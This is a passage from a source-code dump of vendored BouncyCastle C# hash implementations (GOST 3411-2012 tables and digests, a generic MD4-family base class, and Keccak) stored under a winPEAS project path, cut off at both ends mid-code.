0x76154E407044329DL, 0x513D76B64E570693L, 0xF3479AC7D2F90AA8L, 0x9B8B2E4477079C85L, 0x297EB99D3D85AC69L }, new ulong[] { 0x7E37E62DFC7D40C3L, 0x776F25A4EE939E5BL, 0xE045C850DD8FB5ADL, 0x86ED5BA711FF1952L, 0xE91D0BD9CF616B35L, 0x37E0AB256E408FFBL, 0x9607F6C031025A7AL, 0x0B02F5E116D23C9DL, 0xF3D8486BFB50650CL, 0x621CFF27C40875F5L, 0x7D40CB71FA5FD34AL, 0x6DAA6616DAA29062L, 0x9F5F354923EC84E2L, 0xEC847C3DC507C3B3L, 0x025A3668043CE205L, 0xA8BF9E6C4DAC0B19L, 0xFA808BE2E9BEBB94L, 0xB5B99C5277C74FA3L, 0x78D9BC95F0397BCCL, 0xE332E50CDBAD2624L, 0xC74FCE129332797EL, 0x1729ECEB2EA709ABL, 0xC2D6B9F69954D1F8L, 0x5D898CBFBAB8551AL, 0x859A76FB17DD8ADBL, 0x1BE85886362F7FB5L, 0xF6413F8FF136CD8AL, 0xD3110FA5BBB7E35CL, 0x0A2FEED514CC4D11L, 0xE83010EDCD7F1AB9L, 0xA1E75DE55F42D581L, 0xEEDE4A55C13B21B6L, 0xF2F5535FF94E1480L, 0x0CC1B46D1888761EL, 0xBCE15FDB6529913BL, 0x2D25E8975A7181C2L, 0x71817F1CE2D7A554L, 0x2E52C5CB5C53124BL, 0xF9F7A6BEEF9C281DL, 0x9E722E7D21F2F56EL, 0xCE170D9B81DCA7E6L, 0x0E9B82051CB4941BL, 0x1E712F623C49D733L, 0x21E45CFA42F9F7DCL, 0xCB8E7A7F8BBA0F60L, 0x8E98831A010FB646L, 0x474CCF0D8E895B23L, 0xA99285584FB27A95L, 0x8CC2B57205335443L, 0x42D5B8E984EFF3A5L, 0x012D1B34021E718CL, 0x57A6626AAE74180BL, 0xFF19FC06E3D81312L, 0x35BA9D4D6A7C6DFEL, 0xC9D44C178F86ED65L, 0x506523E6A02E5288L, 0x03772D5C06229389L, 0x8B01F4FE0B691EC0L, 0xF8DABD8AED825991L, 0x4C4E3AEC985B67BEL, 0xB10DF0827FBF96A9L, 0x6A69279AD4F8DAE1L, 0xE78689DCD3D5FF2EL, 0x812E1A2B1FA553D1L, 0xFBAD90D6EBA0CA18L, 0x1AC543B234310E39L, 0x1604F7DF2CB97827L, 0xA6241C6951189F02L, 0x753513CCEAAF7C5EL, 0x64F2A59FC84C4EFAL, 0x247D2B1E489F5F5AL, 0xDB64D718AB474C48L, 0x79F4A7A1F2270A40L, 0x1573DA832A9BEBAEL, 0x3497867968621C72L, 0x514838D2A2302304L, 0xF0AF6537FD72F685L, 0x1D06023E3A6B44BAL, 0x678588C3CE6EDD73L, 0x66A893F7CC70ACFFL, 0xD4D24E29B5EDA9DFL, 0x3856321470EA6A6CL, 0x07C3418C0E5A4A83L, 0x2BCBB22F5635BACDL, 0x04B46CD00878D90AL, 0x06EE5AB80C443B0FL, 0x3B211F4876C8F9E5L, 0x0958C38912EEDE98L, 0xD14B39CDBF8B0159L, 0x397B292072F41BE0L, 0x87C0409313E168DEL, 0xAD26E98847CAA39FL, 0x4E140C849C6785BBL, 0xD5FF551DB7F3D853L, 0xA0CA46D15D5CA40DL, 0xCD6020C787FE346FL, 0x84B76DCF15C3FB57L, 0xDEFDA0FCA121E4CEL, 0x4B8D7B6096012D3DL, 0x9AC642AD298A2C64L, 0x0875D8BD10F0AF14L, 0xB357C6EA7B8374ACL, 0x4D6321D89A451632L, 0xEDA96709C719B23FL, 0xF76C24BBF328BC06L, 0xC662D526912C08F2L, 0x3CE25EC47892B366L, 0xB978283F6F4F39BDL, 0xC08C8F9E9D6833FDL, 0x4F3917B09E79F437L, 0x593DE06FB2C08C10L, 0xD6887841B1D14BDAL, 0x19B26EEE32139DB0L, 0xB494876675D93E2FL, 0x825937771987C058L, 0x90E9AC783D466175L, 0xF1827E03FF6C8709L, 0x945DC0A8353EB87FL, 0x4516F9658AB5B926L, 0x3F9573987EB020EFL, 0xB855330B6D514831L, 0x2AE6A91B542BCB41L, 0x6331E413C6160479L, 0x408F8E8180D311A0L, 0xEFF35161C325503AL, 0xD06622F9BD9570D5L, 0x8876D9A20D4B8D49L, 0xA5533135573A0C8BL, 0xE168D364DF91C421L, 0xF41B09E7F50A2F8FL, 0x12B09B0F24C1A12DL, 0xDA49CC2CA9593DC4L, 0x1F5C34563E57A6BFL, 0x54D14F36A8568B82L, 0xAF7CDFE043F6419AL, 0xEA6A2685C943F8BCL, 0xE5DCBFB4D7E91D2BL, 0xB27ADDDE799D0520L, 0x6B443CAED6E6AB6DL, 0x7BAE91C9F61BE845L, 0x3EB868AC7CAE5163L, 0x11C7B65322E332A4L, 0xD23C1491B9A992D0L, 0x8FB5982E0311C7CAL, 0x70AC6428E0C9D4D8L, 0x895BC2960F55FCC5L, 0x76423E90EC8DEFD7L, 0x6FF0507EDE9E7267L, 0x3DCF45F07A8CC2EAL, 0x4AA06054941F5CB1L, 0x5810FB5BB0DEFD9CL, 0x5EFEA1E3BC9AC693L, 0x6EDD4B4ADC8003EBL, 0x741808F8E8B10DD2L, 0x145EC1B728859A22L, 0x28BC9F7350172944L, 0x270A06424EBDCCD3L, 0x972AEDF4331C2BF6L, 0x059977E40A66A886L, 0x2550302A4A812ED6L, 0xDD8A8DA0A7037747L, 0xC515F87A970E9B7BL, 0x3023EAA9601AC578L, 0xB7E3AA3A73FBADA6L, 0x0FB699311EAAE597L, 0x0000000000000000L, 0x310EF19D6204B4F4L, 0x229371A644DB6455L, 0x0DECAF591A960792L, 0x5CA4978BB8A62496L, 0x1C2B190A38753536L, 0x41A295B582CD602CL, 0x3279DCC16426277DL, 0xC1A194AA9F764271L, 0x139D803B26DFD0A1L, 0xAE51C4D441E83016L, 0xD813FA44AD65DFC1L, 0xAC0BF2BC45D4D213L, 0x23BE6A9246C515D9L, 0x49D74D08923DCF38L, 0x9D05032127D066E7L, 0x2F7FDEFF5E4D63C7L, 0xA47E2A0155247D07L, 0x99B16FF12FA8BFEDL, 0x4661D4398C972AAFL, 0xDFD0BBC8A33F9542L, 0xDCA79694A51D06CBL, 0xB020EBB67DA1E725L, 0xBA0F0563696DAA34L, 0xE4F1A480D5F76CA7L, 0xC438E34E9510EAF7L, 0x939E81243B64F2FCL, 0x8DEFAE46072D25CFL, 0x2C08F3A3586FF04EL, 0xD7A56375B3CF3A56L, 0x20C947CE40E78650L, 0x43F8A3DD86F18229L, 0x568B795EAC6A6987L, 0x8003011F1DBB225DL, 0xF53612D3F7145E03L, 0x189F75DA300DEC3CL, 0x9570DB9C3720C9F3L, 0xBB221E576B73DBB8L, 0x72F65240E4F536DDL, 0x443BE25188ABC8AAL, 0xE21FFE38D9B357A8L, 0xFD43CA6EE7E4F117L, 0xCAA3614B89A47EECL, 0xFE34E732E1C6629EL, 0x83742C431B99B1D4L, 0xCF3A16AF83C2D66AL, 0xAAE5A8044990E91CL, 0x26271D764CA3BD5FL, 0x91C4B74C3F5810F9L, 0x7C6DD045F841A2C6L, 0x7F1AFD19FE63314FL, 0xC8F957238D989CE9L, 0xA709075D5306EE8EL, 0x55FC5402AA48FA0EL, 0x48FA563C9023BEB4L, 0x65DFBEABCA523F76L, 0x6C877D22D8BCE1EEL, 0xCC4D3BF385E045E3L, 0xBEBB69B36115733EL, 0x10EAAD6720FD4328L, 0xB6CEB10E71E5DC2AL, 0xBDCC44EF6737E0B7L, 0x523F158EA412B08DL, 0x989C74C52DB6CE61L, 0x9BEB59992B945DE8L, 0x8A2CEFCA09776F4CL, 0xA3BD6B8D5B7E3784L, 0xEB473DB1CB5D8930L, 0xC3FBA2C29B4AA074L, 0x9C28181525CE176BL, 0x683311F2D0C438E4L, 0x5FD3BAD7BE84B71FL, 0xFC6ED15AE5FA809BL, 0x36CDB0116C5EFE77L, 0x29918447520958C8L, 0xA29070B959604608L, 0x53120EBAA60CC101L, 0x3A0C047C74D68869L, 0x691E0AC6D2DA4968L, 0x73DB4974E6EB4751L, 0x7A838AFDF40599C9L, 0x5A4ACD33B4E21F99L, 0x6046C94FC03497F0L, 0xE6AB92E8D1CB8EA2L, 0x3354C7F5663856F1L, 0xD93EE170AF7BAE4DL, 0x616BD27BC22AE67CL, 0x92B39A10397A8370L, 0xABC8B3304B8E9890L, 0xBF967287630B02B2L, 0x5B67D607B6FC6E15L }, new ulong[] { 0xD031C397CE553FE6L, 0x16BA5B01B006B525L, 0xA89BADE6296E70C8L, 0x6A1F525D77D3435BL, 0x6E103570573DFA0BL, 0x660EFB2A17FC95ABL, 0x76327A9E97634BF6L, 0x4BAD9D6462458BF5L, 0xF1830CAEDBC3F748L, 0xC5C8F542669131FFL, 0x95044A1CDC48B0CBL, 0x892962DF3CF8B866L, 0xB0B9E208E930C135L, 0xA14FB3F0611A767CL, 0x8D2605F21C160136L, 0xD6B71922FECC549EL, 0x37089438A5907D8BL, 0x0B5DA38E5803D49CL, 0x5A5BCC9CEA6F3CBCL, 0xEDAE246D3B73FFE5L, 0xD2B87E0FDE22EDCEL, 0x5E54ABB1CA8185ECL, 0x1DE7F88FE80561B9L, 0xAD5E1A870135A08CL, 0x2F2ADBD665CECC76L, 0x5780B5A782F58358L, 0x3EDC8A2EEDE47B3FL, 0xC9D95C3506BEE70FL, 0x83BE111D6C4E05EEL, 0xA603B90959367410L, 0x103C81B4809FDE5DL, 0x2C69B6027D0C774AL, 0x399080D7D5C87953L, 0x09D41E16487406B4L, 0xCDD63B1826505E5FL, 0xF99DC2F49B0298E8L, 0x9CD0540A943CB67FL, 0xBCA84B7F891F17C5L, 0x723D1DB3B78DF2A6L, 0x78AA6E71E73B4F2EL, 0x1433E699A071670DL, 0x84F21BE454620782L, 0x98DF3327B4D20F2FL, 0xF049DCE2D3769E5CL, 0xDB6C60199656EB7AL, 0x648746B2078B4783L, 0x32CD23598DCBADCFL, 0x1EA4955BF0C7DA85L, 0xE9A143401B9D46B5L, 0xFD92A5D9BBEC21B8L, 0xC8138C790E0B8E1BL, 0x2EE00B9A6D7BA562L, 0xF85712B893B7F1FCL, 0xEB28FED80BEA949DL, 0x564A65EB8A40EA4CL, 0x6C9988E8474A2823L, 0x4535898B121D8F2DL, 0xABD8C03231ACCBF4L, 0xBA2E91CAB9867CBDL, 0x7960BE3DEF8E263AL, 0x0C11A977602FD6F0L, 0xCB50E1AD16C93527L, 0xEAE22E94035FFD89L, 0x2866D12F5DE2CE1AL, 0xFF1B1841AB9BF390L, 0x9F9339DE8CFE0D43L, 0x964727C8C48A0BF7L, 0x524502C6AAAE531CL, 0x9B9C5EF3AC10B413L, 0x4FA2FA4942AB32A5L, 0x3F165A62E551122BL, 0xC74148DA76E6E3D7L, 0x924840E5E464B2A7L, 0xD372AE43D69784DAL, 0x233B72A105E11A86L, 0xA48A04914941A638L, 0xB4B68525C9DE7865L, 0xDDEABAACA6CF8002L, 0x0A9773C250B6BD88L, 0xC284FFBB5EBD3393L, 0x8BA0DF472C8F6A4EL, 0x2AEF6CB74D951C32L, 0x427983722A318D41L, 0x73F7CDFFBF389BB2L, 0x074C0AF9382C026CL, 0x8A6A0F0B243A035AL, 0x6FDAE53C5F88931FL, 0xC68B98967E538AC3L, 0x44FF59C71AA8E639L, 0xE2FCE0CE439E9229L, 0xA20CDE2479D8CD40L, 0x19E89FA2C8EBD8E9L, 0xF446BBCFF398270CL, 0x43B3533E2284E455L, 0xD82F0DCD8E945046L, 0x51066F12B26CE820L, 0xE73957AF6BC5426DL, 0x081ECE5A40C16FA0L, 0x3B193D4FC5BFAB7BL, 0x7FE66488DF174D42L, 0x0E9814EF705804D8L, 0x8137AC857C39D7C6L, 0xB1733244E185A821L, 0x695C3F896F11F867L, 0xF6CF0657E3EFF524L, 0x1AABF276D02963D5L, 0x2DA3664E75B91E5EL, 0x0289BD981077D228L, 0x90C1FD7DF413608FL, 0x3C5537B6FD93A917L, 0xAA12107E3919A2E0L, 0x0686DAB530996B78L, 0xDAA6B0559EE3826EL, 0xC34E2FF756085A87L, 0x6D5358A44FFF4137L, 0xFC587595B35948ACL, 0x7CA5095CC7D5F67EL, 0xFB147F6C8B754AC0L, 0xBFEB26AB91DDACF9L, 0x6896EFC567A49173L, 0xCA9A31E11E7C5C33L, 0xBBE44186B13315A9L, 0x0DDB793B689ABFE4L, 0x70B4A02BA7FA208EL, 0xE47A3A7B7307F951L, 0x8CECD5BE14A36822L, 0xEEED49B923B144D9L, 0x17708B4DB8B3DC31L, 0x6088219F2765FED3L, 0xB3FA8FDCF1F27A09L, 0x910B2D31FCA6099BL, 0x0F52C4A378ED6DCCL, 0x50CCBF5EBAD98134L, 0x6BD582117F662A4FL, 0x94CE9A50D4FDD9DFL, 0x2B25BCFB45207526L, 0x67C42B661F49FCBFL, 0x492420FC723259DDL, 0x03436DD418C2BB3CL, 0x1F6E4517F872B391L, 0xA08563BC69AF1F68L, 0xD43EA4BAEEBB86B6L, 0x01CAD04C08B56914L, 0xAC94CACB0980C998L, 0x54C3D8739A373864L, 0x26FEC5C02DBACAC2L, 0xDEA9D778BE0D3B3EL, 0x040F672D20EEB950L, 0xE5B0EA377BB29045L, 0xF30AB136CBB42560L, 0x62019C0737122CFBL, 0xE86B930C13282FA1L, 0xCC1CEB542EE5374BL, 0x538FD28AA21B3A08L, 0x1B61223AD89C0AC1L, 0x36C24474AD25149FL, 0x7A23D3E9F74C9D06L, 0xBE21F6E79968C5EDL, 0xCF5F868036278C77L, 0xF705D61BEB5A9C30L, 0x4D2B47D152DCE08DL, 0x5F9E7BFDC234ECF8L, 0x247778583DCD18EAL, 0x867BA67C4415D5AAL, 0x4CE1979D5A698999L, 0x0000000000000000L, 0xEC64F42133C696F1L, 0xB57C5569C16B1171L, 0xC1C7926F467F88AFL, 0x654D96FE0F3E2E97L, 0x15F936D5A8C40E19L, 0xB8A72C52A9F1AE95L, 0xA9517DAA21DB19DCL, 0x58D27104FA18EE94L, 0x5918A148F2AD8780L, 0x5CDD1629DAF657C4L, 0x8274C15164FB6CFAL, 0xD1FB13DBC6E056F2L, 0x7D6FD910CF609F6AL, 0xB63F38BDD9A9AA4DL, 0x3D9FE7FAF526C003L, 0x74BBC706871499DEL, 0xDF630734B6B8522AL, 0x3AD3ED03CD0AC26FL, 0xFADEAF2083C023D4L, 0xC00D42234ECAE1BBL, 0x8538CBA85CD76E96L, 0xC402250E6E2458EBL, 0x47BC3413026A5D05L, 0xAFD7A71F114272A4L, 0x978DF784CC3F62E3L, 0xB96DFC1EA144C781L, 0x21B2CF391596C8AEL, 0x318E4E8D950916F3L, 0xCE9556CC3E92E563L, 0x385A509BDD7D1047L, 0x358129A0B5E7AFA3L, 0xE6F387E363702B79L, 0xE0755D5653E94001L, 0x7BE903A5FFF9F412L, 0x12B53C2C90E80C75L, 0x3307F315857EC4DBL, 0x8FAFB86A0C61D31EL, 0xD9E5DD8186213952L, 0x77F8AAD29FD622E2L, 0x25BDA814357871FEL, 0x7571174A8FA1F0CAL, 0x137FEC60985D6561L, 0x30449EC19DBC7FE7L, 0xA540D4DD41F4CF2CL, 0xDC206AE0AE7AE916L, 0x5B911CD0E2DA55A8L, 0xB2305F90F947131DL, 0x344BF9ECBD52C6B7L, 0x5D17C665D2433ED0L, 0x18224FEEC05EB1FDL, 0x9E59E992844B6457L, 0x9A568EBFA4A5DD07L, 0xA3C60E68716DA454L, 0x7E2CB4C4D7A22456L, 0x87B176304CA0BCBEL, 0x413AEEA632F3367DL, 0x9915E36BBC67663BL, 0x40F03EEA3A465F69L, 0x1C2D28C3E0B008ADL, 0x4E682A054A1E5BB1L, 0x05C5B761285BD044L, 0xE1BF8D1A5B5C2915L, 0xF2C0617AC3014C74L, 0xB7F5E8F1D11CC359L, 0x63CB4C4B3FA745EFL, 0x9D1A84469C89DF6BL, 0xE33630824B2BFB3DL, 0xD5F474F6E60EEFA2L, 0xF58C6B83FB2D4E18L, 0x4676E45F0ADF3411L, 0x20781F751D23A1BAL, 0xBD629B3381AA7ED1L, 0xAE1D775319F71BB0L, 0xFED1C80DA32E9A84L, 0x5509083F92825170L, 0x29AC01635557A70EL, 0xA7C9694551831D04L, 0x8E65682604D4BA0AL, 0x11F651F8882AB749L, 0xD77DC96EF6793D8AL, 0xEF2799F52B042DCDL, 0x48EEF0B07A8730C9L, 0x22F1A2ED0D547392L, 0x6142F1D32FD097C7L, 0x4A674D286AF0E2E1L, 0x80FD7CC9748CBED2L, 0x717E7067AF4F499AL, 0x938290A9ECD1DBB3L, 0x88E3B293344DD172L, 0x2734158C250FA3D6L } }; } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/digests/GOST3411_2012_256Digest.cs ================================================ using System; using winPEAS._3rdParty.BouncyCastle.util; namespace winPEAS._3rdParty.BouncyCastle.crypto.digests { public class Gost3411_2012_256Digest : Gost3411_2012Digest { private readonly static byte[] IV = { 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01 }; public override string AlgorithmName { get { return "GOST3411-2012-256"; } } public Gost3411_2012_256Digest() : base(IV) { } public Gost3411_2012_256Digest(Gost3411_2012_256Digest other) : base(IV) { Reset(other); } public override int GetDigestSize() { return 32; } public override int DoFinal(byte[] output, int outOff) { byte[] result = new byte[64]; base.DoFinal(result, 0); Array.Copy(result, 32, output, outOff, 32); return 32; } public override IMemoable Copy() { return new Gost3411_2012_256Digest(this); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/digests/GOST3411_2012_512Digest.cs ================================================ using winPEAS._3rdParty.BouncyCastle.util; namespace winPEAS._3rdParty.BouncyCastle.crypto.digests { public class Gost3411_2012_512Digest:Gost3411_2012Digest { private readonly static byte[] IV = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; public override string AlgorithmName { get { return "GOST3411-2012-512"; } } public Gost3411_2012_512Digest():base(IV) { } public Gost3411_2012_512Digest(Gost3411_2012_512Digest other) : base(IV) { Reset(other); } public override int GetDigestSize() { return 64; } public override IMemoable Copy() { return new Gost3411_2012_512Digest(this); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/digests/GeneralDigest.cs ================================================ using System; using winPEAS._3rdParty.BouncyCastle.util; namespace winPEAS._3rdParty.BouncyCastle.crypto.digests { /** * base implementation of MD4 family style digest as outlined in * "Handbook of Applied Cryptography", pages 344 - 347. */ public abstract class GeneralDigest : IDigest, IMemoable { private const int BYTE_LENGTH = 64; private byte[] xBuf; private int xBufOff; private long byteCount; internal GeneralDigest() { xBuf = new byte[4]; } internal GeneralDigest(GeneralDigest t) { xBuf = new byte[t.xBuf.Length]; CopyIn(t); } protected void CopyIn(GeneralDigest t) { Array.Copy(t.xBuf, 0, xBuf, 0, t.xBuf.Length); xBufOff = t.xBufOff; byteCount = t.byteCount; } public void Update(byte input) { xBuf[xBufOff++] = input; if (xBufOff == xBuf.Length) { ProcessWord(xBuf, 0); xBufOff = 0; } byteCount++; } public void BlockUpdate( byte[] input, int inOff, int length) { length = System.Math.Max(0, length); // // fill the current word // int i = 0; if (xBufOff != 0) { while (i < length) { xBuf[xBufOff++] = input[inOff + i++]; if (xBufOff == 4) { ProcessWord(xBuf, 0); xBufOff = 0; break; } } } // // process whole words. // int limit = ((length - i) & ~3) + i; for (; i < limit; i += 4) { ProcessWord(input, inOff + i); } // // load in the remainder. // while (i < length) { xBuf[xBufOff++] = input[inOff + i++]; } byteCount += length; } public void Finish() { long bitLength = (byteCount << 3); // // add the pad bytes. // Update((byte)128); while (xBufOff != 0) Update((byte)0); ProcessLength(bitLength); ProcessBlock(); } public virtual void Reset() { byteCount = 0; xBufOff = 0; Array.Clear(xBuf, 0, xBuf.Length); } public int GetByteLength() { return BYTE_LENGTH; } internal abstract void ProcessWord(byte[] input, int inOff); internal abstract void ProcessLength(long bitLength); internal abstract void ProcessBlock(); public abstract string AlgorithmName { get; } public abstract int GetDigestSize(); public abstract int DoFinal(byte[] output, int outOff); public abstract IMemoable Copy(); public abstract void Reset(IMemoable t); } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/digests/KeccakDigest.cs ================================================ using System; using System.Diagnostics; using winPEAS._3rdParty.BouncyCastle.crypto.util; using winPEAS._3rdParty.BouncyCastle.util; namespace winPEAS._3rdParty.BouncyCastle.crypto.digests { /// /// Implementation of Keccak based on following KeccakNISTInterface.c from http://keccak.noekeon.org/ /// /// /// Following the naming conventions used in the C source code to enable easy review of the implementation. /// public class KeccakDigest : IDigest, IMemoable { private static readonly ulong[] KeccakRoundConstants = new ulong[]{ 0x0000000000000001UL, 0x0000000000008082UL, 0x800000000000808aUL, 0x8000000080008000UL, 0x000000000000808bUL, 0x0000000080000001UL, 0x8000000080008081UL, 0x8000000000008009UL, 0x000000000000008aUL, 0x0000000000000088UL, 0x0000000080008009UL, 0x000000008000000aUL, 0x000000008000808bUL, 0x800000000000008bUL, 0x8000000000008089UL, 0x8000000000008003UL, 0x8000000000008002UL, 0x8000000000000080UL, 0x000000000000800aUL, 0x800000008000000aUL, 0x8000000080008081UL, 0x8000000000008080UL, 0x0000000080000001UL, 0x8000000080008008UL }; private ulong[] state = new ulong[25]; protected byte[] dataQueue = new byte[192]; protected int rate; protected int bitsInQueue; protected int fixedOutputLength; protected bool squeezing; public KeccakDigest() : this(288) { } public KeccakDigest(int bitLength) { Init(bitLength); } public KeccakDigest(KeccakDigest source) { CopyIn(source); } private void CopyIn(KeccakDigest source) { Array.Copy(source.state, 0, this.state, 0, source.state.Length); Array.Copy(source.dataQueue, 0, this.dataQueue, 0, source.dataQueue.Length); this.rate = source.rate; this.bitsInQueue = source.bitsInQueue; this.fixedOutputLength = source.fixedOutputLength; this.squeezing = source.squeezing; } public virtual string AlgorithmName { get { return "Keccak-" + fixedOutputLength; } } public virtual int GetDigestSize() { return fixedOutputLength >> 3; } public virtual void Update(byte input) { Absorb(input); } public virtual void BlockUpdate(byte[] input, int inOff, int len) { Absorb(input, inOff, len); } public virtual int DoFinal(byte[] output, int outOff) { Squeeze(output, outOff, fixedOutputLength); Reset(); return GetDigestSize(); } /* * TODO Possible API change to support partial-byte suffixes. */ protected virtual int DoFinal(byte[] output, int outOff, byte partialByte, int partialBits) { if (partialBits > 0) { AbsorbBits(partialByte, partialBits); } Squeeze(output, outOff, fixedOutputLength); Reset(); return GetDigestSize(); } public virtual void Reset() { Init(fixedOutputLength); } /** * Return the size of block that the compression function is applied to in bytes. * * @return internal byte length of a block. */ public virtual int GetByteLength() { return rate >> 3; } private void Init(int bitLength) { switch (bitLength) { case 128: case 224: case 256: case 288: case 384: case 512: InitSponge(1600 - (bitLength << 1)); break; default: throw new ArgumentException("must be one of 128, 224, 256, 288, 384, or 512.", "bitLength"); } } private void InitSponge(int rate) { if (rate <= 0 || rate >= 1600 || (rate & 63) != 0) throw new InvalidOperationException("invalid rate value"); this.rate = rate; Array.Clear(state, 0, state.Length); Arrays.Fill(this.dataQueue, (byte)0); this.bitsInQueue = 0; this.squeezing = false; this.fixedOutputLength = (1600 - rate) >> 1; } protected void Absorb(byte data) { if ((bitsInQueue & 7) != 0) throw new InvalidOperationException("attempt to absorb with odd length queue"); if (squeezing) throw new InvalidOperationException("attempt to absorb while squeezing"); dataQueue[bitsInQueue >> 3] = data; if ((bitsInQueue += 8) == rate) { KeccakAbsorb(dataQueue, 0); bitsInQueue = 0; } } protected void Absorb(byte[] data, int off, int len) { if ((bitsInQueue & 7) != 0) throw new InvalidOperationException("attempt to absorb with odd length queue"); if (squeezing) throw new InvalidOperationException("attempt to absorb while squeezing"); int bytesInQueue = bitsInQueue >> 3; int rateBytes = rate >> 3; int available = rateBytes - bytesInQueue; if (len < available) { Array.Copy(data, off, dataQueue, bytesInQueue, len); this.bitsInQueue += len << 3; return; } int count = 0; if (bytesInQueue > 0) { Array.Copy(data, off, dataQueue, bytesInQueue, available); count += available; KeccakAbsorb(dataQueue, 0); } int remaining; while ((remaining = (len - count)) >= rateBytes) { KeccakAbsorb(data, off + count); count += rateBytes; } Array.Copy(data, off + count, dataQueue, 0, remaining); this.bitsInQueue = remaining << 3; } protected void AbsorbBits(int data, int bits) { if (bits < 1 || bits > 7) throw new ArgumentException("must be in the range 1 to 7", "bits"); if ((bitsInQueue & 7) != 0) throw new InvalidOperationException("attempt to absorb with odd length queue"); if (squeezing) throw new InvalidOperationException("attempt to absorb while squeezing"); int mask = (1 << bits) - 1; dataQueue[bitsInQueue >> 3] = (byte)(data & mask); // NOTE: After this, bitsInQueue is no longer a multiple of 8, so no more absorbs will work bitsInQueue += bits; } private void PadAndSwitchToSqueezingPhase() { Debug.Assert(bitsInQueue < rate); dataQueue[bitsInQueue >> 3] |= (byte)(1 << (bitsInQueue & 7)); if (++bitsInQueue == rate) { KeccakAbsorb(dataQueue, 0); } else { int full = bitsInQueue >> 6, partial = bitsInQueue & 63; int off = 0; for (int i = 0; i < full; ++i) { state[i] ^= Pack.LE_To_UInt64(dataQueue, off); off += 8; } if (partial > 0) { ulong mask = (1UL << partial) - 1UL; state[full] ^= Pack.LE_To_UInt64(dataQueue, off) & mask; } } state[(rate - 1) >> 6] ^= (1UL << 63); bitsInQueue = 0; squeezing = true; } protected void Squeeze(byte[] output, int offset, long outputLength) { if (!squeezing) { PadAndSwitchToSqueezingPhase(); } if ((outputLength & 7L) != 0L) throw new InvalidOperationException("outputLength not a multiple of 8"); long i = 0; while (i < outputLength) { if (bitsInQueue == 0) { KeccakExtract(); } int partialBlock = (int)System.Math.Min((long)bitsInQueue, outputLength - i); Array.Copy(dataQueue, (rate - bitsInQueue) >> 3, output, offset + (int)(i >> 3), partialBlock >> 3); bitsInQueue -= partialBlock; i += partialBlock; } } private void KeccakAbsorb(byte[] data, int off) { int count = rate >> 6; for (int i = 0; i < count; ++i) { state[i] ^= Pack.LE_To_UInt64(data, off); off += 8; } KeccakPermutation(); } private void KeccakExtract() { KeccakPermutation(); Pack.UInt64_To_LE(state, 0, rate >> 6, dataQueue, 0); this.bitsInQueue = rate; } private void KeccakPermutation() { ulong[] A = state; ulong a00 = A[ 0], a01 = A[ 1], a02 = A[ 2], a03 = A[ 3], a04 = A[ 4]; ulong a05 = A[ 5], a06 = A[ 6], a07 = A[ 7], a08 = A[ 8], a09 = A[ 9]; ulong a10 = A[10], a11 = A[11], a12 = A[12], a13 = A[13], a14 = A[14]; ulong a15 = A[15], a16 = A[16], a17 = A[17], a18 = A[18], a19 = A[19]; ulong a20 = A[20], a21 = A[21], a22 = A[22], a23 = A[23], a24 = A[24]; for (int i = 0; i < 24; i++) { // theta ulong c0 = a00 ^ a05 ^ a10 ^ a15 ^ a20; ulong c1 = a01 ^ a06 ^ a11 ^ a16 ^ a21; ulong c2 = a02 ^ a07 ^ a12 ^ a17 ^ a22; ulong c3 = a03 ^ a08 ^ a13 ^ a18 ^ a23; ulong c4 = a04 ^ a09 ^ a14 ^ a19 ^ a24; ulong d1 = (c1 << 1 | c1 >> -1) ^ c4; ulong d2 = (c2 << 1 | c2 >> -1) ^ c0; ulong d3 = (c3 << 1 | c3 >> -1) ^ c1; ulong d4 = (c4 << 1 | c4 >> -1) ^ c2; ulong d0 = (c0 << 1 | c0 >> -1) ^ c3; a00 ^= d1; a05 ^= d1; a10 ^= d1; a15 ^= d1; a20 ^= d1; a01 ^= d2; a06 ^= d2; a11 ^= d2; a16 ^= d2; a21 ^= d2; a02 ^= d3; a07 ^= d3; a12 ^= d3; a17 ^= d3; a22 ^= d3; a03 ^= d4; a08 ^= d4; a13 ^= d4; a18 ^= d4; a23 ^= d4; a04 ^= d0; a09 ^= d0; a14 ^= d0; a19 ^= d0; a24 ^= d0; // rho/pi c1 = a01 << 1 | a01 >> 63; a01 = a06 << 44 | a06 >> 20; a06 = a09 << 20 | a09 >> 44; a09 = a22 << 61 | a22 >> 3; a22 = a14 << 39 | a14 >> 25; a14 = a20 << 18 | a20 >> 46; a20 = a02 << 62 | a02 >> 2; a02 = a12 << 43 | a12 >> 21; a12 = a13 << 25 | a13 >> 39; a13 = a19 << 8 | a19 >> 56; a19 = a23 << 56 | a23 >> 8; a23 = a15 << 41 | a15 >> 23; a15 = a04 << 27 | a04 >> 37; a04 = a24 << 14 | a24 >> 50; a24 = a21 << 2 | a21 >> 62; a21 = a08 << 55 | a08 >> 9; a08 = a16 << 45 | a16 >> 19; a16 = a05 << 36 | a05 >> 28; a05 = a03 << 28 | a03 >> 36; a03 = a18 << 21 | a18 >> 43; a18 = a17 << 15 | a17 >> 49; a17 = a11 << 10 | a11 >> 54; a11 = 